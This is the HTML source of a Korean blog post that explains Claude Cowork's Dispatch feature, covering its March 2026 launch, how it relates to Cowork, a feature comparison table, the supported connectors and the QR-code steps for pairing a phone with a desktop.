&lt;div style=&quot;background-color: #e8f4f8; padding: 20px; border-radius: 12px; border-left: 5px solid #0066cc; margin-bottom: 30px;&quot;&gt;&lt;b&gt;Claude Cowork Dispatch 가이드&lt;/b&gt;&lt;br /&gt;Dispatch는 폰과 데스크탑 사이에 하나의 지속적인 대화 스레드를 만들어, 외출 중에도 집 컴퓨터의 Claude에게 로컬 파일 및 앱 작업을 지시할 수 있게 하는 기능이다.&lt;br /&gt;2026년 3월 17일 Research Preview로 출시됐으며, Max 플랜은 즉시, Pro 플랜은 며칠 내 순차 확장된다.&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 1: Dispatch 소개 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;1. Dispatch 소개&lt;/b&gt;&lt;/h2&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1832&quot; data-origin-height=&quot;1002&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/TLyXi/dJMcahRnI21/AKMkXhakgf3kFoeeVHeoh0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/TLyXi/dJMcahRnI21/AKMkXhakgf3kFoeeVHeoh0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/TLyXi/dJMcahRnI21/AKMkXhakgf3kFoeeVHeoh0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FTLyXi%2FdJMcahRnI21%2FAKMkXhakgf3kFoeeVHeoh0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1832&quot; height=&quot;1002&quot; data-origin-width=&quot;1832&quot; data-origin-height=&quot;1002&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;&lt;br /&gt;왜 지금 이 기능인가 &amp;mdash; 젠슨 황과 OpenClaw&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Dispatch를 이해하려면 먼저 출시 타이밍을 짚어야 한다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;2026년 3월 17일, NVIDIA CEO 젠슨 황은 GTC 2026 기조연설에서 오픈소스 AI 에이전트 &lt;b&gt;OpenClaw&lt;/b&gt;를 언급하며 이런 발언을 했다.&lt;/p&gt;
&lt;div style=&quot;background-color: #f8f9fa; border-left: 4px solid #6c757d; padding: 20px; margin: 20px 0; border-radius: 0 8px 8px 0; font-style: italic;&quot;&gt;&quot;모든 기업은 OpenClaw 전략이 필요하다. 이것이 새로운 컴퓨터다. 마치 우리 모두가 Linux 전략이 필요했고, HTTP HTML 전략이 필요했던 것처럼.&quot;&lt;br /&gt;&lt;span style=&quot;font-size: 13px; color: #666; font-style: normal;&quot;&gt;&amp;mdash; Jensen Huang, NVIDIA GTC 2026 기조연설 (2026년 3월 16일)&lt;/span&gt;&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;그리고 GTC 기조연설 바로 다음 날인 3월 17일, Anthropic이 &lt;b&gt;Dispatch&lt;/b&gt;를 출시했다. 업계는 즉각 &quot;Anthropic이 자체 OpenClaw를 만들었다&quot;고 반응했다.&lt;/p&gt;
&lt;div style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;OpenClaw란?&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;오스트리아 개발자 Peter Steinberger가 만든 오픈소스 AI 에이전트 프레임워크. WhatsApp, Telegram, iMessage 등 20개 이상의 메신저를 통해 로컬 에이전트와 대화하며, 머신에서 상시 실행되는 구조다. 2026년 1~2월에 바이럴로 성장해 GitHub 스타 33만 개 이상을 기록했다(2026년 3월 기준). OpenClaw와 Dispatch의 구조적 차이는 이후에 자세히 다룬다.&lt;/p&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Dispatch란 무엇인가&lt;/h3&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1988&quot; data-origin-height=&quot;1084&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/kD9bq/dJMcag51O9q/MW2Cd3tnORfWXlvQe1ezM1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/kD9bq/dJMcag51O9q/MW2Cd3tnORfWXlvQe1ezM1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/kD9bq/dJMcag51O9q/MW2Cd3tnORfWXlvQe1ezM1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FkD9bq%2FdJMcag51O9q%2FMW2Cd3tnORfWXlvQe1ezM1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1988&quot; height=&quot;1084&quot; data-origin-width=&quot;1988&quot; data-origin-height=&quot;1084&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Anthropic 공식 지원 문서는 Dispatch를 이렇게 정의한다.&lt;/p&gt;
&lt;div style=&quot;background-color: #f8f9fa; border-left: 4px solid #6c757d; padding: 20px; margin: 20px 0; border-radius: 0 8px 8px 0; font-style: italic;&quot;&gt;&quot;Cowork gives you one continuous conversation with Claude that you can reach from your phone or your desktop. You can assign Claude a task, go do something else, and come back to the finished work. Claude runs on your computer&amp;mdash;with access to your local files, connectors, and plugins&amp;mdash;and messages you the result when it's done.&quot;&lt;br /&gt;(Cowork는 휴대폰과 데스크톱 어디서든 이어서 접근할 수 있는, Claude와의 하나의 연속된 대화를 제공합니다. Claude에게 작업을 맡겨두고 다른 일을 하러 간 뒤, 끝난 결과를 나중에 다시 확인할 수 있습니다. Claude는 당신의 컴퓨터에서 직접 실행되며, 로컬 파일(local files), 커넥터(connectors), 플러그인(plugins)에 접근할 수 있고, 작업이 끝나면 결과를 메시지로 알려줍니다.)&lt;br /&gt;&lt;span style=&quot;font-size: 13px; color: #666; font-style: normal;&quot;&gt;&amp;mdash; Anthropic 공식 지원 문서 (support.claude.com)&lt;/span&gt;&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;풀어서 말하면 이렇다.&lt;/p&gt;
&lt;ul style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;폰과 데스크탑이 하나의 대화를 공유한다.&lt;/b&gt; 폰에서 지시하면 집 컴퓨터가 실행한다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;작업을 위임하고 자리를 비울 수 있다.&lt;/b&gt; 결과가 나오면 돌아와서 확인하는 방식이다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;데스크탑의 파일, 커넥터, 플러그인 접근 권한을 그대로 활용한다.&lt;/b&gt; 폰에서 직접 할 수 없는 작업도 데스크탑을 통해 처리된다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Cowork와의 관계&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Dispatch는 독립 기능이 아니라 &lt;b&gt;Cowork의 하위 기능&lt;/b&gt;이다. Cowork를 설치하지 않으면 Dispatch를 사용할 수 없다. Cowork에서 설정해둔 커넥터와 플러그인, 파일 접근 권한을 Dispatch가 그대로 상속해서 폰에서도 같은 범위의 작업을 지시할 수 있다.&lt;/p&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 15px; border-left: 4px solid #0066cc; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;Remote Control과 Dispatch는 다른 기능이다&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;Claude Code(CLI)에는 별도의 &lt;b&gt;Remote Control&lt;/b&gt; 기능이 있다. 터미널 세션을 웹/모바일에서 원격으로 접근하는 기능이다. Dispatch는 Claude Cowork(데스크탑 앱)에서만 동작하며, CLI와는 무관하다.&lt;/p&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 2: Cowork 간단 복습 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;2. Cowork 간단 복습&lt;/b&gt;&lt;/h2&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Cowork란&lt;/h3&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1992&quot; data-origin-height=&quot;1088&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dNYFy3/dJMcafsuQqn/uVJo1tNbJol171TN87lzLK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dNYFy3/dJMcafsuQqn/uVJo1tNbJol171TN87lzLK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dNYFy3/dJMcafsuQqn/uVJo1tNbJol171TN87lzLK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdNYFy3%2FdJMcafsuQqn%2FuVJo1tNbJol171TN87lzLK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1992&quot; height=&quot;1088&quot; data-origin-width=&quot;1992&quot; data-origin-height=&quot;1088&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Cowork는 2026년 1월 출시된 Claude Desktop 앱의 기능이다. 기존 Claude는 프롬프트 하나에 응답하고 끝났다. Cowork는 차별점이 있다. &lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;멀티스텝 목표를 받아 계획을 수립하고 실행하는 지속적 에이전트 세션&lt;/b&gt;&lt;/span&gt;이다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Anthropic이 직접 표현한 포지셔닝이 있다. &quot;AI 탭을 방문하는 게 아니라 위임하는 동료&quot;다. 대화창을 닫아도 맥락이 유지되고, 로컬 파일, 커넥터, 플러그인에 접근하면서 작업을 완료할 때까지 실행된다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;일반 Claude와의 차이&lt;/h3&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 25px 0; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;항목&lt;/th&gt;
&lt;th style=&quot;padding: 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;일반 Claude&lt;/th&gt;
&lt;th style=&quot;padding: 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;Cowork&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;작업 방식&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;프롬프트 &amp;rarr; 응답 1회&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;멀티스텝 목표 &amp;rarr; 계획 &amp;rarr; 실행&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8fbff;&quot;&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;실행 환경&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;클라우드 전용&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;로컬 파일 + 앱 + 클라우드 커넥터&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;세션 지속성&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;창 닫으면 종료&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;앱 실행 중 계속 유지&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8fbff;&quot;&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;사용자 확인&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;매 응답마다&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;정해진 체크포인트에서만&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;원격 접근&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;불가&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;Dispatch로 가능 (신규)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;커넥터와 플러그인&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Cowork는 현재 38개 이상의 커넥터를 지원한다. 주요 커넥터는 다음과 같다.&lt;/p&gt;
&lt;ul style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;Gmail, Google Drive, Google Calendar&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;Microsoft 365 (Outlook, OneDrive)&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;Slack, Notion, Linear&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;GitHub, DocuSign 등&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 3: 작동 원리 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;3. Dispatch 작동 원리&lt;/b&gt;&lt;/h2&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;QR코드 페어링 방식&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;연결 방법은 간단하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1. Claude Desktop의 Cowork에서 &lt;b&gt;Dispatch&lt;/b&gt; 클릭&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1156&quot; data-origin-height=&quot;314&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/VkFPe/dJMcaibDqlS/mdAQY32VzQa2k0dstgyQ80/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/VkFPe/dJMcaibDqlS/mdAQY32VzQa2k0dstgyQ80/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/VkFPe/dJMcaibDqlS/mdAQY32VzQa2k0dstgyQ80/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FVkFPe%2FdJMcaibDqlS%2FmdAQY32VzQa2k0dstgyQ80%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1156&quot; height=&quot;314&quot; data-origin-width=&quot;1156&quot; data-origin-height=&quot;314&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;2. QR코드 생성&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;- 앱이 설치 안되어있으면 QR 스캔&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;- 나의 경우 이미 설치 및 로그인 되어 있어서 휴대폰에 로그인되어 있습니다. 클릭&lt;/p&gt;
&lt;figure class=&quot;imagegridblock&quot;&gt;
  &lt;div class=&quot;image-container&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/tBG45/dJMb996OEzZ/xCW2FMKe56m2tSxNkUW1P1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/tBG45/dJMb996OEzZ/xCW2FMKe56m2tSxNkUW1P1/img.png&quot; style=&quot;width: 45.2559%; margin-right: 10px;&quot; width=&quot;467&quot; height=&quot;618&quot; data-origin-width=&quot;938&quot; data-origin-height=&quot;1242&quot; data-is-animation=&quot;false&quot; data-widthpercent=&quot;45.79&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/tBG45/dJMb996OEzZ/xCW2FMKe56m2tSxNkUW1P1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FtBG45%2FdJMb996OEzZ%2FxCW2FMKe56m2tSxNkUW1P1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;938&quot; height=&quot;1242&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/QQ0Jq/dJMcacP0i1A/L8mGcKxFifOXDN5B4e5Jck/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/QQ0Jq/dJMcacP0i1A/L8mGcKxFifOXDN5B4e5Jck/img.png&quot; style=&quot;width: 53.5813%;&quot; width=&quot;380&quot; height=&quot;425&quot; data-origin-width=&quot;828&quot; data-origin-height=&quot;926&quot; data-is-animation=&quot;false&quot; data-widthpercent=&quot;54.21&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/QQ0Jq/dJMcacP0i1A/L8mGcKxFifOXDN5B4e5Jck/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FQQ0Jq%2FdJMcacP0i1A%2FL8mGcKxFifOXDN5B4e5Jck%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;828&quot; height=&quot;926&quot;/&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;790&quot; data-origin-height=&quot;1026&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dRuuoG/dJMcafeVBJq/i1XbuIbxeQmthGG4OkHnKk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dRuuoG/dJMcafeVBJq/i1XbuIbxeQmthGG4OkHnKk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dRuuoG/dJMcafeVBJq/i1XbuIbxeQmthGG4OkHnKk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdRuuoG%2FdJMcafeVBJq%2Fi1XbuIbxeQmthGG4OkHnKk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;388&quot; height=&quot;504&quot; data-origin-width=&quot;790&quot; data-origin-height=&quot;1026&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt; 여기서 잠깐 ................... 3월 24일경 Computer Use 기능이 생기면서&amp;nbsp;&lt;br /&gt;3월 24일 이후 Claude 앱을 업데이트 하고 난 뒤 Dispatch 기능을 설정하시는 경우 다음과 같이 한가지 더 설정 항목이 추가 되었을 것 이다.&amp;nbsp;&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1060&quot; data-origin-height=&quot;1422&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/5gG4x/dJMcaaxUXBL/vS4sICxAKGrjaxuJaC3W2K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/5gG4x/dJMcaaxUXBL/vS4sICxAKGrjaxuJaC3W2K/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/5gG4x/dJMcaaxUXBL/vS4sICxAKGrjaxuJaC3W2K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F5gG4x%2FdJMcaaxUXBL%2FvS4sICxAKGrjaxuJaC3W2K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;405&quot; height=&quot;1422&quot; data-origin-width=&quot;1060&quot; data-origin-height=&quot;1422&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;computer use에 대해서는 별도로 작성해 두었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://goddaehee.tistory.com/560&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Claude Computer Use 리뷰 : AI가 내 컴퓨터를 조작한다 - 폰에서 지시하면 Mac이 혼자 일한다&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;3. Claude 모바일 앱으로 스캔&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;4. 페어링 완료 &amp;mdash; 폰과 데스크탑이 하나의 대화를 공유&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이후에는 폰에서 Claude 모바일 앱을 열면 바로 그 대화에 접근할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;- 폰에서 작업하면&amp;nbsp;&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;926&quot; data-origin-height=&quot;1932&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/boBfdO/dJMcajnYY9y/KG2mKpjCj1I7VPmCkkkqZ0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/boBfdO/dJMcajnYY9y/KG2mKpjCj1I7VPmCkkkqZ0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/boBfdO/dJMcajnYY9y/KG2mKpjCj1I7VPmCkkkqZ0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FboBfdO%2FdJMcajnYY9y%2FKG2mKpjCj1I7VPmCkkkqZ0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;292&quot; height=&quot;609&quot; data-origin-width=&quot;926&quot; data-origin-height=&quot;1932&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;- PC의 cowork에서도 동일하게 동기화, 지시가 가능한 것을 볼 수 있다.&lt;/p&gt;
